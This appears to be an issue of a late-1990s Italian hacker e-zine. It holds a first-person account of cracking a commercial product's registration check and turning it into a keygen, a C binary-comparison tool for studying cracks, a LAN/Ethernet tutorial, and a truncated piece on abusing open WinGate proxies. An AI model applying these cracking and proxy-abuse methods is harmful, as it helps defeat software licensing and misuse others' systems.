sono sempre chiesto io e' perche' uno deve stare ore e ore a capire cosa fa
una istruzione e non segue invece l'istinto? Beh, la pratica finora mi ha
dato ragione >B)
Era una mattina di mezza primavera quando mi sono ritrovato di fianco un
tipo very cazzuto (in altre parole, un coglione) che cercava di vendere un
prodotto di tutto rispetto, NT GUARDIAN 3.0. Ovviamente, da bravo illegale
che sono, non ho resistito alla tentazione di appropriarmi della versione
gratuita trial 30 giorni ecc ecc che con tanta passione mostrava in giro...
Beh, arrivato a casa, fatte le solite cose preliminari (preparare una
partizione con NT funzionante isolata dal resto del sistema, bakuppare il
BIOS e staccare gli HDD che di solito uso -- e' un ottimo metodo per non
avere problemi se qualcosa va storto, basta ripulire la partizione ed e'
fatto :), installato il programma questi allegramente mi dice roba del tipo
"Ciao, sono il tuo migliore amico! Pero' solo per un po' di tempo, a meno
che tu sia gentile e faccia una donazione alla mia casa costruttrice" ecc
ecc... data un'occhiata al sottomenu che ha creato l'installazione ho, tra le
altre cose, notato due programmi, uno per la creazione del modulo di
ordinazione ed un altro per la registrazione del prodotto. Figo! Eseguito
il programma per la registrazione e realizzato che non scriveva niente di
carino in giro per il registro o in altri posti, e' venuto il turno del
programma di creazione del pre-regcode da spedire (assieme a tanti soldi)
all'ufficio vendite. Interessante e` stato notare che si succhiava molto
allegramente il numero seriale dell'HDD sul quale era montato. Inoltre il
codice di registrazione era composto da 8 gruppi di 4 cifre esadecimali. La
sfida mi eccitava... >B) Il codice cambia (e non di poco) a seconda delle
FLAG che si scelgono, infatti e` un unico codice per registrare un numero
variabile (anche infinito) di postazioni di lavoro, name servers ed un po'
di altre belle cose che mi sono scordato). 32 cifre esadecimali sono
decisamente troppe per una ricerca euristica, e non si puo' certo
obbligare nessuno a cambiare il proprio numero seriale dell'HDD (anche
perche' sotto NT e' pericoloso). L'idea di base e' che il tuo peggiore
nemico puo' diventare il tuo migliore amico, basta convincerlo opportunamente :)
La protezione che il Guardian offre (la registrazione, il prodotto non l'ho
neppure lanciato!) non e' delle piu' banali, ma neppure impossibile: non e'
un processo apparentemente reversibile, ne' tantomeno clonabile, visto e
considerato che nei 3 secondi di lag tra l'avvio del programma e la comparsa
della schermata non credo proprio si faccia una pippa. Le tabelle che usa
cosi' intensamente, inoltre, sono di dimensioni troppo grandi e nessuno
garantisce che non dipendano strettamente dal serial number dell'HDD. Inoltre,
visto che e' esplicitamente detto che se si cambia HDD si deve riacquistare il
prodotto (ovviamente a spese dell'acquirente ;) e' quasi ovvio che il tutto
(dal firewall al name server a tutto il resto) si ricontrolli la correttezza
del reg number ad OGNI AVVIO, quindi o perdere la vita a cambiare tutti i
singoli programmini (bella voglia!!) oppure convincere il programma che un
ente benefico chiamato "SoftPj" ha fatto una donazione a nome tuo ;)
I dettagli della ricerca li risparmio, mi e' costata tanto sudore e tanto
inchiostro, schematicamente: il codice immesso viene convertito da testo
ad esadecimale, scopiazzato in giro per la memoria (preoccupante scoprire
quante volte il codice e' copiato e cambiato!!). Poi molto diligentemente il
programma si prende una chiave di base (se non vado errato dovrebbe essere
2301 6745 ab89 efcd dcfe 98ba 5476 1032 che, non so perche', ma mi ispira
sesso ;) comunque, utilizzando il magnifico comando BPM (se non ci fosse
bisognerebbe inventarlo) e lokkando le zone di memoria (neppure troppo
vero, anche questo codice e' copiato in giro per l'universo... e beati voi
che avete poca memoria :) scopro che anche li' fa una marea di brutte cose,
di quelle che non si dicono in giro, anche perche' le variabili usate sono
cosi' tante che dopo le prime 40 ho rinunciato all'idea di comprenderle....
Beh alla fine di tutta la faticaccia per comprendere cosa (e dove) facesse
scoprivo che il codice viene semplicemente confrontato con -- sorpresa --
la mitica MEMCMP (whoooaaahhh), presente in tutti i C dalla notte dei tempi.
Bello, tutto felice controllavo il codice e come risposta attenevo "grazie
di averci sponsorzzato", tutto va che e' una meraviglia. Peccato solo che
da bravo bambino non tiene la variabile sempre nella stessa zona di memoria,
anzi non ce la rimette mai!! Altro lavoraccio per seguire tutto il precorso
delle allocazioni e trovare un punto dove l'indirizzo e` chiaro e tondo (ma
soprattutto utilizzabile), trovare un qualche byte per copiare l'address
altrove (e chi si fida a toccare del codice che e' chiamato pressoche'
ovunque nel programma?!?!).
Il resto e' stato "semplice", scrivere una procedura che andava a cambiare
la stringa "hai cannato codice" (anche lei allocata random... figo!) in
qualcosa che assomigliasse di piu' a "Ciao! Se vuoi registrare quello che
vuoi scrivi "<un_numero_che_assomiglia_ad_un_codice_di_registrazione_valido>"
e buon divertimento!" con relativo popup. Problema minore e' trovare il
luogo adatto per farlo, anche perche' una routine di conversione da
esadecimale a testo ASM32b occupa circa 56 bytes. Ovviamente cosi' facendo
viene distrutto il programma originale, basta distribuire il programma
modificato come keygen (e sono 100k di EXE, mica briciole!!!) ed usare il
programma nel pacchetto originale per registrare: per come e' creato il
"registratore" ha bisogno di risiedere nella directory dove e' installato
il programma (ha bisogno della stessa partizione per il serial number e di
un altro file di installazione per la lista delle flags), ma questo e' un
difetto minore..
Basta, questo e' quanto... essendo fatto in un linguaggio ad alto livello
(presumibilmente C) ed essendo usato un metodo di crittazione della chiave
con confronto (se fosse stata decrittata la chiave inserita avrei potuto
anche darmi all'ippica) il tutto e' stato relativamente semplice... gia' un
procedimento di controllo "progressivo" (ovvero generazione e confrondo a
gruppi di 4 byte) avrebbe causato non pochi disturbi. Ancora peggio per
quello che riguarda la decrittazione, per fortuna hanno usato un processo
irreversibile altrimenti... 'azzi acidi! :))) E buona notte a voi che potete
dormire sonni tranquilli... gh gh gh gh >B)))
Frank Black
f.black@deathsdoor.com
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍCRACKiNGÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ T00L Di C0MPARAZi0NE iLE BiNARi ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍͼ
Raptor '98 "Nihl tam munitum, quod non expugnari raptor possit...."
Date: 21/04/98
Title: Tool di comparazione file binari
L'autore di questo testo non si prende nessuna responsabilita' per l'uso che
ne verra' fatto poiche' e' stato espressamente concepito per puri scopi
ditattici.
ÄÄÄ> * Desc:
A volte (purtroppo) mi capita di imbattermi in dei programmi che non riesco a
patchare.
E la cosa che mi fa incazzare di piu' e' che qualcun'altro e' riuscito a farlo
al posto mio!
Allora mi sono detto: "sarei proprio curioso di sapere come cavolo ha fatto!"
Niente di piu' facile, basta confrontare il file patchato con quello integro e
il gioco e' fatto!
Ho cercato sul web qualcosa che mi permettesse di confrontare i due file binari
in questione, ma ho trovato solo i soliti tools per utilizzatori di Word, Exel
e spazzatura del genere. Stufo di cercare tra queste schifezze ho deciso di
scrivere da solo un programmino, tanto e' facile facile:
----------------------------------------------------
#include<stdio.h>
#include<dos.h>
int main(int argc, char *argv[])
{
FILE *file1,*file2,*comp;
unsigned long ind1;
int code1;
int carattere1,carattere2,carattere3;
if (argc!=3)
{printf("\nincorrect number of arguments!\nusage: COMPARE FILE1 FILE2\n");
return 0;}
if((file1=fopen(argv[1],"rb"))==NULL)
{printf("\nfile '%s' not found!\n",argv[1]);
return 0;
}
if((file2=fopen(argv[2],"rb"))==NULL)
{printf("\nfile '%s' not found!\n",argv[2]);
return 0;
}
comp=fopen("out.txt","w");
fprintf(comp," A = %s\n",argv[1]);
fprintf(comp," A B offset B = %s\n",argv[2]);
do {
carattere1=fgetc(file1);
carattere2=fgetc(file2);
if (carattere1!=carattere2)
{ind1=ftell(file1);
fprintf(comp,"%.2x %.2x %.4x",carattere1,carattere2,ind1/0xffff) ;
fprintf(comp,"%.4x\n", ind1-1);
}
} while(carattere1!=EOF);
fclose(file1);
fclose(file2);
fclose(comp);
return 0;
}
-----------------------------------------------------
Il programma e' per dos perche' non ho un compilatore per Win95.
Si usa in questo modo:
>compare file1.exe file2.exe
Verra' generato il file OUT.TXT con il seguente contenuto:
-----------------------------------------------------
A = file1.exe
A B offset B = file2.exe
74 75 00000285
0b 33 0000139a
07 90 00003037
00 90 00003038
00 90 00003039
------------------------------------------------------
Il risultato e' facilmente interpretabile A e B sono i valori del codice in
esadecimale dei due files e 'offset' e' l'indirizzo in cui si differenziano.
Si potranno poi editare i file con HIEW per vedere a che comandi corrispondono
i valori contenuti a quegli indirizzi.
E' un tool stupido ma abbastanza utile per imparare.
Raptor
ÄÄÄ> Tank's to PC98, MexElite and Fravia for their tutorials
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍMiSCÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ RETi L0CALi ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Salve lettori....
In questo articolo il vostro caro fratello DrumFire cerchera' di dare una
spiegazione piu' o meno sofisticata delle reti locali, del perche' sono state
fatte, dei vantaggi, degli svantaggi che ne vengono usandole e le varie
problematiche relative alla trasmissione dei dati.
Non so se riusciro' a scrivere tutto e sopratutto a spiegarlo nel miglior
dei modi, quindi se qualcuno non capisce....beh, richiedetemi spiegazioni :))))
Cmq, se non sapete una sega di reti........ non so quanto sia utile per voi
leggere l'articolo.
Definizione di Rete Locale:
Generalmente per rete locale si intendono 2 o piu' calcolatori connessi tra
di loro che comunicano attraverso un canale trasmissivo ad alta' velocita' e
con un basso tasso di errore e che non attraversa il suolo pubblico.
Perche' nascono le reti di calcolatori:
Beh, come tutti ormai sapranno, prima che fossero create le reti, esistevano
delle specie di pseudoreti, che erano composte dai grandi MainFrame, a cui
erano collegati tutta una serie di terminali stupidi che non avevno altro
che la tastiera per digitare i comandi ed un monitor che supportava solo la
modalita' testo e che era connesso al mainframe attraverso un porta
seriale..
Ovviamente, per quei tempi, gia' i mainframe erano una cosa piu' che
valida, in quanto le tecnologie non erano arrivate fino a dove siamo arrivati
noi.
Il problema, con queste pseudoreti, era che i terminali erano veramente
"stupidi", cioe' se il mainframe non era acceso risultavano morti, cioe'
tutto dipendeva dal funzionamento o meno del mainframe...
Con l'avvento delle reti di calcolatori,invece si potevano sostituire ai
terminali "stupidi" dei piccoli elaboratori "intelligenti" che interconnessi
tra di loro, davano sicuramente una maggiore elasticita' di comunicazione, una
maggiore affidabilita' e una maggiore potenza.
Ovviamente, a quei tempi, parlo degli anni '60, il tutto non era facile come ai
tempi nostri.
I progettisti, infatti, si trovavano di fronte ad una serie di problemi che
cerchero' di riassumere brevemente...
Per prima cosa, infatti, bisognava tenere in considerazione il fatto che
questi piccoli elaboratori intelligenti fossero delle realta' dinamiche, cioe'
dovessero adattarsi facilmente ad ogni tipo di mutamento, e cosi' pure le
reti che li collegavano dovevano farlo...
Diciamo che le reti di calcolatori vennero create per permettere la
cosiddetta "condivisione delle informazioni", cioe' la possibilita' da parte
di tutti di accedere a determinate risorse, indipendentemente dalla loro
collocazione fisica.
I vantaggi che derivano dall'uso delle reti sono i seguenti:
1) Alta affidabilita':
Difatti, rendere affidabile una rete di calcolatori, rende sicuramente
di piu' rispetto a rendere affidabile un grosso Mainframe.
2) Risparmio:
E' chiaro che per realizzare una rete di calcolatori sia il costo
dell'hardware sia quello del software e' sicuramente minore rispetto
al software e all'hardware di un sistema centralizzato.
3) Elasticita':
Una rete di calcolatori e' sicuramente piu' elastica e piu
modificabile di una rete basata su MainFrame.
Cioe' aggiungere un computer ad una rete oggi e' una cosa
relativamente facile.
Ai giorni nostri,le reti locali divenute ormai storiche sono la "Ethernet" e
la "Token Ring".
Tuttavia, accanto a queste, se ne sono sviluppate altre come la FDDi, la ATM
etc...
La velocita' trasmissiva delle reti locali oscilla tra i 4Mb/s e i 100Mb/s
Le LAN sono oggi costituite da "calcolatori indipendenti" cioe' da macchine
che se ne fregano di cosa fanno gli altri.
Cioe' se siete su un sistema in rete voi potete continuare a lavorare in
modalita' standalone, senza usarla...
Al contrario invece, i terminali "stupidi" erano vivamente connessi alla rete
e vivevano solo tramite la connessione al MainFrame.
Si e' parlato, nella definizione di LAN, di una rete di calcolatori che
comunica attraverso un canale trasmissivo ad alta' velocita'.
Si', anche se il canale trasmissivo e' uno solo, il modo di usarlo
viene definito a "burst".
In pratica, ogni calcolatore connesso alla rete, per la maggior parte del
tempo non la utilizza, ma quando la utilizza, chiede il massimo da essa.
Cio' vuol dire che quando un calcolatore scrive sulla rete in pratica diventa
proprietario della rete per un tot di tempo che equivale al tempo impiegato a
trasmettere uno o piu' pacchetti di dati.
Quindi quando un sistema trasmette sfrutta a pieno tutta la capacita'
trasmissiva del canale.
La comunicazione e' di tipo BROADCAST ovvero una macchima trasmette e le altre
ricevono.
Questo tipo di comunicazione ha portato dei vantaggi, ma anche dei piccoli
problemi: infatti si richiede che siano presenti degli indirizzi che servono
per identificare ogni singolo calcolatore all'interno della rete.
Si parla infine di basso tasso di errore poiche' il canale trasmissivo usato
e' un canale affidabile (cavo coassiale, doppino, fibra ottica) e quindi
anche la probabilita' di presenza di errori e' ridotta quasi a 0.
Infatti, il livello 2 del modello OSI nelle reti locali non implementa alcuna
routine che provveda alla correzione degli errori.
I pacchetti errati vengono scartati, poi saranno i livelli superiori che si
preoccuperanno della ritrasmissione del pacchetto.
---
Tipologie di rete:
Seguira' un breve elenco delle tipologie di rete esistenti sulla faccia della
terra (almeno fino ad oggi, poi domani chissa')...
Tipologia a BUS:
La classica rete a BUS e' la mitica rete Ethernet...
--------- --------- ---------
| D | | E | | F |
--------- --------- ---------
| | |
BUS --------------------------------------------------------------------
| | |
--------- --------- ---------
| A | | B | | C |
--------- --------- ---------
Tipologia ad Anello:
La tipologia ad anello consiste in una rete locale in cui i calcolatori sono
collegati insieme uno all'altro in questo modo:
-------
| |
/| A |\
/ ------- \
/ \
/ \
/ \
------ ------
| | | |
| D | | B |
------ ------
\ /
\ /
\ ------- /
\ | | /
\| C |/
-------
Da come si deduce dal grafico il pacchetto che verra' trasmesso da una
stazione all'altra dovra' passare anche per le altre stazioni.
Un classico esempio di una rete ad anello e' la rete Token-Ring, anche se poi
in verita' tanto ad anello non e' visto che fisicamente e' invece una rete a
stella.
Tipologia a stella:
Questa e' un topologia che sta prendendo sempre piu' campo nel mondo delle
reti e che oggi come oggi e' stata anche adottata dalle reti Ethernet e
Token-Ring.
-------
| |
| A |
-------
|
|
------- ------- -------
| | | | | |
| D |------| BUS |------| B |
------- ------- -------
|
|
-------
| |
| C |
-------
In questo esempio il BUS potrebbe essere il classico HUB presente nelle reti
Ethernet, oppure potrebbe essere il MAU delle Token-Ring.
----
Oggi come oggi esiste un progetto, chiamato IEEE 802 che si pone il problema
della standardizzazione dei vari tipi di reti locali (ethernet, token, arc
etc..).
Sono stati nominati 6 comitati che si preoccupano della standardizzazione di
ogni singolo tipo di rete locale. Ecco un elenco:
Tralasciando 802.1 e 802.2
- 802.3 CSMA/CD (Ethernet)
- 802.4 Token BUS
- 802.5 Token Ring
Inizieremo quindi a parlare dello standard 802.3 .
Come potete aver letto nel precedente BFI dove si parlava del modello OSI,
dei 7 livelli e delle loro specifiche funzionalita'.
Lo standard IEEE si frappone agli ultimi 2 livelli del modello OSI con i
protocolli LLC e MAC per rendere possibile l'unificazione dell'interfaccia
che i vari tipi di reti locali devono fornire al livello 3 (rete)
------------------------------------------------------- Livello 3
-----------------------------------------------
LLC "Protocollo comune a tutte le reti locali"
-----------------------------------------------
| | | | |
-----------------------------------------------
---|-802.3-|-802.5--|--802.4--|--xxxx---|-xxx----|---- Livello 2
| |
| MAC | MAC | MAC | MAC | MAC |
|---------------------------------------------|
------------------------------------------------------- Livello 1
Come si puo' vedere dallo schemail protocollo MAC (Medium Access Control) e'
un protocollo specifico per ogni rete locale.
Cio' vuol dire che sia Ethernet sia Token ring avranno il protocollo MAC, che
pero' funzionera' in modo diverso a seconda della rete che si sta usando.
E' un protocollo inportantissimo, in quanto dal livello 7 al livello 2 i vari
protocolli cosiderano la trasmissione di tipo broadcast, anche se questa in
effetti non lo e'.
Esiste un MAC per ogni tipo di rete locale presente al mondo, quindi ci
saranno MAC a CSMA se e' un MAC di Ethernet, MAC a token, se e' installato
sulle token ring, etc...
Abbiamo parlato prima di trasmissione di tipo broadcast.
Questo particolare tipo di trasmissione implica che su ogni macchina sia
presente un indirizzo per identificare il vero mittente e il vero destinatario,
e implica anche una corretta politica di condivisione del mezzo trasmissivo ed
una efficiente risoluzione degli errori, per esempio, le collisioni di 2 o
piu' schede di rete.
Il MAC serve proprio a questo.
Nel secondo caso, esistono degli algoritmi implementati a livello di MAC che
si occupano delle politiche di condivisione.
Nel primo caso invece, il MAC deve accertarsi del vero mittente, del
destinatario, ma anche del tipo di indirizzo a cui si sta facendo riferimento,
cioe' se e' di tipo Point to Point, se e' Point to Group o infine se
appartiene alla categoria dei Point to All.
Point to Point Single
Point to Group Multicast
Point to All Broadcast.
Nel primo caso, il MAC non fara' altro che confrontare l'indirizzo di
destinazione della shceda di rete con l'indirizzo vero della scheda di rete
locale; se questi 2 sono equivalenti allora sa alla perfezione che quel
pacchetto e' destinato a quella scheda.
Se invece l'indirizzo di destinazione e' Broadcast, allora la scheda
prendera' tutti i pacchetti che gli arrivano.
Nel caso invece che la trasmissione sia di tipo MULTICAST, allora il MAC non
fara' altro che accertarsi che l'indirizzo di destinazione sia appartenente
ad uno dei gruppi a cui la scheda di rete appartiene, cioe' immaginiamo una
organizzazione ad albero:
----------
| A |
----------
/---/ \---\
/ \
/ \
-------- --------
| gro 1| | gro 2|
-------- -------- \
/ | | \
------ / ------- ------- ------
sc1 / sc2 sc3 sc4
------ -------- ------- ------
sc1, sc2, sc3, sc4 : Schede di rete.
gro1, gro2 : Gruppi di determinati tipi di schede di rete che offrono
determinati servizi.
Se io voglio trasmettere alle schede di rete che offrono un certo
servizio, mettiamo quelle appartenenti al gruppo 2, non faro' altro che
mettere nell'indirizzo di destinazione l'indirizzo appartenente a quel
gruppo che poi tramite alcune tabelle pensera' a smistare correttamente il
pacchetto.
Bene, abbiamo parlato fino ad ora degli indirizzi, ma volete sapere che
indirizzi sono??!?
Un indirizzo MAC e' composto da 6 byte, di cui i primi 3 identificano il tipo
del costruttore della scheda, mentre gli altri 3 sono ottenuti tramite una
numerazione progressiva che si differenzia da ogni altra scheda: in teoria
quindi non ci dovrebbero essere al mondo 2 o + schede di rete che abbiano lo
stesso indirizzo.
Poiche' questo e' impossibile da ottenere, per ovviare all'inconveniente
di trovarsi con 2 schede di rete con lo stesso indirizzo e quindi con la rete
che non va, allora sono stati inventati dei software che andando a scrivere
all'interno di un apposito buffer, riescono a modificare questo indirizzo,
rendendo possibile quindi anche la trasmissione di 2 schede di rete che
abbiano indirizzi uguali.
Ricordate che l'indirizzo MAC e' contenuto in una ROM all'interno della
scheda.
Quando il MAC trasmette sul canale, invia 2 bit che sono importantissimi.
Il primo bit identifica se l'indirizzo e' un indirizzo locale o appartiene
ad un gruppo.
Il secondo indirizzo invece specifica se l'indirizzo della scheda di rete e'
ufficiale, oppure se e' stato cambiato tramite quel software di cui vi ho
appena parlato.
Se noi consideriamo una serie di byte:
|--------| |--------| |--------| |--------| |--------|
1 2 3 4 5
Ognuno e' composto da 8 bit; lo standard IEEE 802.3 definisce che la
trasmissione debba avvenire partendo dal byte 1 per arrivare al byte 7; pero'
i bit devono essere trasmessi in ordine inverso:
|------- | 1 bit se n'e' andato (-1 bit)
|------ | 1 bit se n'e' andato (-2 bit)
|----- | 1 altro e cosi' via..(-3,-4,-5,-6,-7,-8 bit)
Le schede di rete Token Ring anche loro trasmettono dal primo byte al settimo,
ma nell'ordine inverso alla schede Ethernet.
Per cui:
| -------| 1 bit se n'e' andato (-1 bit)
| ------| 1 bit se n'e' andato (-2 bit)
| -----| 1 altro e cosi' via..(-3,-4,-5,-6,-7,-8 bit)
Come potete notare c'e' differenza tra le schede di rete, pero' poiche' lo
scopo di IEEE 802 e' anche quello di fare in modo che i vari tipi di MAC
forniscano al LLC lo stesso frame di dati, allora e' stata necessaria una
standardizzazione dei 2 modi di trasmettere.
Si e' pensato al modo Ethernet.
Questo vuol dire quindi che se il MAC di ethernet deve trasmettere al
livello LLC ci spara direttamente i bit come vengono.
Nel caso invece che la scheda sia di tipo TokenRing allora dovra' essere
fatta una conversione, che sara' eseguita nel SAP tra il MAC e il LLC (SAP sta
per Service Access Point).
PDU di un MAC:
DSAP SSAP Information FCS
----------------------------------------
| | | | |
----------------------------------------
Il FCS sta per Frame Control Sequence ed e' il frame che controlla se e'
avvenuta una corretta ricezione o meno del pacchetto.
Ad ogni modo cmq il segnale di ritrasmissione verrebbe dato dal protocollo
LLC.
Il protocollo LLC e' studiato per permettere la convivenza su una stessa rete
di piu' protocolli di rete.
E' una versione semplificata del protocollo HDLC usato in ambito di reti
geografiche.
Come gli altri protocolli appartenenti ad altri livelli, puo' lavorare sia in
modalita' connessa oppure in modalita' non connessa.
Poiche' si parla di reti locali la modalita' non connessa la tira per
le lunghe.
Tutti i protocolli MAC della varie reti locali forniscono al LLC i pacchetti
nello stesso identico modo.
Domanda: avete una rete a casa con Findus 95 e avete installato sia
il protocollo TCP-IP che il NetBeui, usato principalmente per giocare a Hearts
in rete...
Bene, secondo voi, come cazzo fa il livello di DATALINK a sapere a quale
protocollo di rete (IP o NETBEUI) dovra' mandare il pacchetto che gli e'
appena arrivato?!?!
Ricordate che il livello di datalink non sa una sega dei protocolli
installati sulla macchina, per cui bisogna che nel pacchetto ci sia anche
qualche informazione che fa capire al livello 2 a quale protocollo di rete
deve essere mandato il pacchetto.
Esempio grafico...
Livello 3 (Protocolli installati)
------------- ------------- --------------
| IP | | IPX | | NETBEUI |
------------- ------------- --------------
| | |
| | |
| | |
------| | ---------------
| | |
| | |
-----------------------------
| Frame LLC | Livello 2 (datalink)
-----------------------------
Sia al protocollo IP, IPX e NETBEUI sono stati ufficialmente assegnati dei
numero in esadecimale (000F, 000D, 00DD) che corrispondono a ognuno dei singoli
protocolli di rete.
Se noi giochiamo a hearts in rete il protocollo utilizzato sara' il NetBeui.
Per cui mettiamo che gli sia stato assegnato il valore 000A.
Il campo dell'indirizzo di destinazione del pacchetto LLC sara' 000A.
Quindi il frame LLC sapra' che quel pacchetto e' di tipo NetBeui e provvedera'
a mandarlo al suddetto protocollo.
Ovviamente questa tecnica e' adottata solo nel caso in cui vengano usati
protocolli di rete riconosciuti come ufficiali ai quali e' stato assegnato
un indirizzo specifico.
Mettiamo il caso pero' che sia in fase di costruzione un nuovo protocollo di
rete che non abbia alcun tipo di compatibilita' con quelli ufficiali.
In questo caso il normale frame LLC non avra' nessuno effetto in quanto il
protocollo X e' proprietario e quindi non riconosciuto dal ISO.
Si ricorre quindi al pacchetto SNAP: Il pacchetto SNAP non e' altro che un
normale pacchetto LLC che al campo destinazione, dove prima c'era il numerino
assegnato al protocollo di rete, avra' il valore 0AAH e cosi' pure nel
sorgente.
In questo caso quindi il frame LLC sara' piu' grosso, in quanto sara'
necessario includere nel pacchetto le specifiche del protocollo proprietario.
** STRUTTURA DI UN NORMALE FRAME LLC (IEEE 802.2) **
DSAP SSAP Control Informat
----------------------------------
| 0FFD | 000G | 03H | L3-PDU |
----------------------------------
** STRUTTURA DI UN PACCHETTO SNAP**
DSAP SSAP Control Protocol Identifier Informati.
----------------------------------------------------------
| 0AAH | 0AAH | 03H | 000000H | 0800H | L3-PDU | LLC/SNAP
----------------------------------------------------------
Come si puo' vedere,la differenze tra i 2 diversi frame LLC e' che il
primo, poiche' deve passare il pacchetto ad un protocollo di rete ISO, non ha
bisogno di specificarne anche le caratteristiche al contrario del frame SNAP
che invece tra il campo Control e Informati ha aggiunto anche l'identificativo
del protocollo di rete proprietario.
A seconda del valore del campo Control si distinguono anche 3 diversi tipi
di frame LLC oppure chiamati PDU.
1) Unnumbered PDU, e' usata per trasportare informazioni di utente per scopi
di inizializzazione e diagnostica.
2) Information PDU, e' il frame usato quando si lavora in modalita' connessa.
3) Supervisory PDU, e' usato quando, lavorando in modalita' connessa, sia
necessario trasportare info di controllo del protocollo
-------------------------------------------------------------------------------
Dopo aver dato un'occhiata veloce veloce ai 2 sottolivelli introdotti dal
IEEE 802 all'interno del modello ISO/OSI, approfondiamo il funzionamento
della rete Ethernet, analizzando quindi il funzionamento del protocollo
CSMA/CD.
CSMA/CD sta per: Carrier Sense, Multiple Access, Collision Detect.
Queste tre fasi, rappresentano le 3 fasi principali del modo di lavorare
della rete Ethernet.
1) Carrier Sense: Ogni stazione prima di inviare dati sul canale
trasmissivo ascoltera' la portante e, nel caso il canale
sia libero, cominciera' la trasmissione dati.
Nel caso invece che gia' una stazione stia trasmettendo, la
scheda di rete non potra' trasmettere.
2) Multiple Access: Nel caso in cui 2 stazioni ascoltino contemporaneamente
il mezzo trasmissivo e contemporaneamente rilevino che
il canale e' libero allora potra' accadere che le 2
stazioni inizino la loro trasmissione nello stesso istante
di tempo T provocando quindi una collisione e una
errata trasmissione di informazioni.
3) Collision Detect: Per ovviare all'inconveniente delle collisioni, ogni
scheda di rete durante la trasmissione dovra' anche
ascoltare il mezzo trasmissivo per accorgersi se c'e' in
corso una collisione. In questo caso le stazioni
che sono in conflitto smettono di trasmettere e viene
generato un pacchetto di Jamming che informa tutte le
altre stazioni che e' avvenuta una collisione.
Successivamente tramite un algoritmo di BackOff verra'
calcolato il tempo che dovra' passare prima che le 2
stazioni possano ritrasmettere sul canale (tempo
pseudocasuale).
Devo dire, purtroppo, che almeno in teoria il modo di funzionamento della rete
Ethernet fa' veramente schifo rispetto alla Token-Ring, dove invece tutto ha
una sua logica. Nonostante questo pero', all'atto pratico, la rete Ethernet e'
risultata molto piu' efficiente della Token-Ring e questo e' stato il
motivo per cui oggi la rete Ethernet e' una delle piu' usate.
-------------------------------------------------------------------------------
L'importante e' non confondere la parola indirizzo con l'indirizzo IP del
computer.
Questo perche' ad ogni livello corrispondente al modello a 7 livelli ISO/OSI
ci sono dei campi che identificano sempre l'indirizzo di destinazione e
quello sorgente:
Tabella: (presumendo che ci sia installato sopra il protocollo TCPIP)
A livello 1 (Fisico) ci saranno gli indirizzi fisici della schede di rete
installate sul vostro computer. (es: 01 80 34 23 76 F0)
A livello 2 (datalink) ci saranno gli "indirizzi" dei protocolli di rete
installati sulla macchina. (es: 000F per IP, AB5F per NetBeui etc...)
A livello 3 (rete) ci sono gli
indirizzi IP di destinazione e sorgente dei
2 calcolatori che stanno comunicando. (es: 195.234.232.1)
A livello 4 (Trasporto) ci saranno gli indirizzi della porta sorgente da
dove e' partita la trasmissione e quella da dove e' finita. (es: 139)
Ok, per ora penso basti!
Dopo aver analizzato i livelli 1 e 2 del modello OSI, se ne avro' voglia (ma
sicuramente saro' costretto a farlo) analizzeremo anche il livello di rete e
poi via via gli altri.
INFORMATION WANTS TO BE FREE
DrumFire
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍMiSCÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ WiNGATiNG: CHE PASSi0NE! ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Se mi trovate in IRC e' molto probabile che il mio IP sia un wingate. Vi prego:
non usatelo e non datelo in giro :) altrimenti dopo poco tempo quel wingate non
esistera' piu'...
Scherzi a parte, l'uso e l'abuso dei servizi offerti da wingate sono diventati
molto comuni, soprattutto nell'ambiente IRC, dove la necessita' di ipspoofing
ben si accomuna alla facilita' di utilizzo dei server wingate a tale scopo.
Attualmente mi pare che tale pratica abbia subito un calo, forse scoraggiata
dalla proliferazione fino a qualche mese fa di kick/ban di utenti wingate
joining canali irc. Avrete visto in giro anche voi, penso, vari script per
client irc atti all'automatizzazione di tale procedura.
Alcuni server irc (soprattutto Undernet) sono in grado tutt'oggi di rilevare
l'abuso dei servizi wingate, impedendo l'accesso al net e suggerendo (dopo
tutto potrebbe trattarsi del vero proprietario del wingate! :) la visita a
una pagina web delegata a dare alcuni suggerimenti per far cessare tale abuso.
In proposito si veda: www.deerfield.com/wingate/secure-wingate.htm
Va rilevato comunque che l'abuso piu' frequente, a parte l'IRC spoofing,
riguarda:
- e-mail bomber
- servizi nntp (materiale xxx postato su newsgroups)
- attacchi tipo denial of service (contro grossi networks)
Esistono script per irc che operano wingate scanning e che creano floodbots
quando ne trovano uno: e' chiaro che si possono cosi' effettuare attacchi anche
da centinaia di wingates contemporaneamente, creando il caos piu' totale.
Se e' vero che l'uso piu' popolare dei wingates riguarda l'accesso all'Internet
Relay Chat, non e' altrettanto vero che questo sia il servizio piu' utile dal
punto di vista degli hackers (iup!). Sicuramente ci sono cose ben piu'
interessanti e soddisfacenti; solitamente sono servizi meno comuni alle masse
o meno documentati.
Ma che cos'e' un wingate? Prima di tutto la domanda e' impostata male: che
cos'e' Wingate? Infatti Wingate non e' altro che un programma che gira su
sistemi 95/NT e che lavora come proxy server offrendo numerosi servizi,
attivabili e configurabili da un "system administrator": io personalmente ho
provato l'installazione della versione 2.0b pro, che penso sia una delle ultime
se non l'ultima proprio.
